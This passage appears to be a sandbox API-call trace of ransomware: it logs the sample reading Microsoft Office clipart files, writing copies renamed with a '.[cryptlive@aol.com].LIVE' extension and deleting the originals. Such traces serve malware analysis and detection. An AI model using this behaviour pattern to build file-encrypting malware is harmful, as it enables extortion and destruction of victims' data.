lstrlenW (lpString=".xls") returned 4 [0156.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.581] lstrlenW (lpString=".xlsx") returned 5 [0156.581] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.581] lstrlenW (lpString=".ppt") returned 4 [0156.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.581] lstrlenW (lpString=".zip") returned 4 [0156.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.581] lstrlenW (lpString=".rar") returned 4 [0156.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString=".bz2") returned 4 [0156.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString=".7z") returned 3 [0156.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.581] lstrlenW (lpString=".dbf") returned 4 [0156.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.581] lstrlenW (lpString=".1cd") returned 4 [0156.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.581] lstrlenW (lpString=".jpg") returned 4 [0156.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.581] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.581] lstrlenW (lpString="J0107490.WMF") returned 12 [0156.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.582] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16468) returned 1 [0156.582] CloseHandle (hObject=0x384) returned 1 [0156.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 0x20 [0156.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.582] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.582] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.583] GetLastError () returned 0x0 [0156.583] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4054, lpOverlapped=0x0) returned 1 [0156.585] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4060, lpOverlapped=0x0) returned 1 [0156.586] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.586] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.586] SetEndOfFile (hFile=0x350) returned 1 [0156.586] CloseHandle (hObject=0x350) returned 1 [0156.586] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.586] SetEndOfFile (hFile=0x384) returned 1 [0156.589] CloseHandle (hObject=0x384) returned 1 [0156.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0156.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.590] lstrlenW (lpString=".doc") returned 4 [0156.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.590] lstrlenW (lpString=".docx") returned 5 [0156.590] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.590] lstrlenW (lpString=".pdf") returned 4 [0156.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.590] lstrlenW (lpString=".xls") returned 4 [0156.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.590] lstrlenW (lpString=".xlsx") returned 5 [0156.590] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.590] lstrlenW (lpString=".ppt") returned 4 [0156.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.590] lstrlenW (lpString=".zip") returned 4 [0156.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.590] lstrlenW (lpString=".rar") returned 4 [0156.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.590] lstrlenW (lpString=".bz2") returned 4 [0156.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.590] lstrlenW (lpString=".7z") returned 3 [0156.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString=".dbf") returned 4 [0156.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString=".1cd") returned 4 [0156.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString=".jpg") returned 4 [0156.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString=".doc") returned 4 [0156.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString=".docx") returned 5 [0156.591] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.591] lstrlenW (lpString=".pdf") returned 4 [0156.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString=".xls") returned 4 [0156.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.591] lstrlenW (lpString=".xlsx") returned 5 [0156.591] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.591] lstrlenW (lpString=".ppt") returned 4 [0156.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString=".zip") returned 4 [0156.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.591] lstrlenW (lpString=".rar") returned 4 [0156.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString=".bz2") returned 4 [0156.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString=".7z") returned 3 [0156.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.591] lstrlenW (lpString=".dbf") returned 4 [0156.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.592] lstrlenW (lpString=".1cd") returned 4 [0156.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0156.592] lstrlenW (lpString=".jpg") returned 4 [0156.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.592] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.592] lstrlenW (lpString="J0107492.WMF") returned 12 [0156.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.593] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6860) returned 1 [0156.593] CloseHandle (hObject=0x384) returned 1 [0156.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 0x20 [0156.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.593] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.594] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.595] GetLastError () returned 0x0 [0156.595] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1acc, lpOverlapped=0x0) returned 1 [0156.596] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1ad0, lpOverlapped=0x0) returned 1 [0156.597] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.597] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.597] SetEndOfFile (hFile=0x350) returned 1 [0156.598] CloseHandle (hObject=0x350) returned 1 [0156.598] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.598] SetEndOfFile (hFile=0x384) returned 1 [0156.600] CloseHandle (hObject=0x384) returned 1 [0156.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0156.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.601] lstrlenW (lpString=".doc") returned 4 [0156.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString=".docx") returned 5 [0156.601] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.601] lstrlenW (lpString=".pdf") returned 4 [0156.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString=".xls") returned 4 [0156.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.601] lstrlenW (lpString=".xlsx") returned 5 [0156.601] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.601] lstrlenW (lpString=".ppt") returned 4 [0156.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.601] lstrlenW (lpString=".zip") returned 4 [0156.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.601] lstrlenW (lpString=".rar") returned 4 [0156.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString=".bz2") returned 4 [0156.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString=".7z") returned 3 [0156.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.601] lstrlenW (lpString=".dbf") returned 4 [0156.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.601] lstrlenW (lpString=".1cd") returned 4 [0156.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString=".jpg") returned 4 [0156.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString=".doc") returned 4 [0156.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString=".docx") returned 5 [0156.602] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.602] lstrlenW (lpString=".pdf") returned 4 [0156.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString=".xls") returned 4 [0156.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.602] lstrlenW (lpString=".xlsx") returned 5 [0156.602] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.602] lstrlenW (lpString=".ppt") returned 4 [0156.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString=".zip") returned 4 [0156.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.602] lstrlenW (lpString=".rar") returned 4 [0156.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString=".bz2") returned 4 [0156.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString=".7z") returned 3 [0156.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString=".dbf") returned 4 [0156.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString=".1cd") returned 4 [0156.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0156.602] lstrlenW (lpString=".jpg") returned 4 [0156.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.603] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.603] lstrlenW (lpString="J0107494.WMF") returned 12 [0156.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.823] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6424) returned 1 [0156.823] CloseHandle (hObject=0x384) returned 1 [0156.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 0x20 [0156.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.875] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.875] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0157.216] GetLastError () returned 0x0 [0157.216] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1918, lpOverlapped=0x0) returned 1 [0157.250] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0157.251] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.251] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.252] SetEndOfFile (hFile=0x1b0) returned 1 [0157.252] CloseHandle (hObject=0x1b0) returned 1 [0157.252] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.252] SetEndOfFile (hFile=0x384) returned 1 [0157.273] CloseHandle (hObject=0x384) returned 1 [0157.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0157.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.284] lstrlenW (lpString=".doc") returned 4 [0157.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.284] lstrlenW (lpString=".docx") returned 5 [0157.284] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.286] lstrlenW (lpString=".pdf") returned 4 [0157.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.286] lstrlenW (lpString=".xls") returned 4 [0157.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.286] lstrlenW (lpString=".xlsx") returned 5 [0157.286] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.286] lstrlenW (lpString=".ppt") returned 4 [0157.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.286] lstrlenW (lpString=".zip") returned 4 [0157.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.286] lstrlenW (lpString=".rar") returned 4 [0157.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.291] lstrlenW (lpString=".bz2") returned 4 [0157.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.291] lstrlenW (lpString=".7z") returned 3 [0157.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.291] lstrlenW (lpString=".dbf") returned 4 [0157.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.292] lstrlenW (lpString=".1cd") returned 4 [0157.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.292] lstrlenW (lpString=".jpg") returned 4 [0157.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.292] lstrlenW (lpString=".doc") returned 4 [0157.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.292] lstrlenW (lpString=".docx") returned 5 [0157.292] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.295] lstrlenW (lpString=".pdf") returned 4 [0157.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.295] lstrlenW (lpString=".xls") returned 4 [0157.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.295] lstrlenW (lpString=".xlsx") returned 5 [0157.295] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.295] lstrlenW (lpString=".ppt") returned 4 [0157.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.295] lstrlenW (lpString=".zip") returned 4 [0157.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.302] lstrlenW (lpString=".rar") returned 4 [0157.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.302] lstrlenW (lpString=".bz2") returned 4 [0157.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.302] lstrlenW (lpString=".7z") returned 3 [0157.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.302] lstrlenW (lpString="C:\\Program 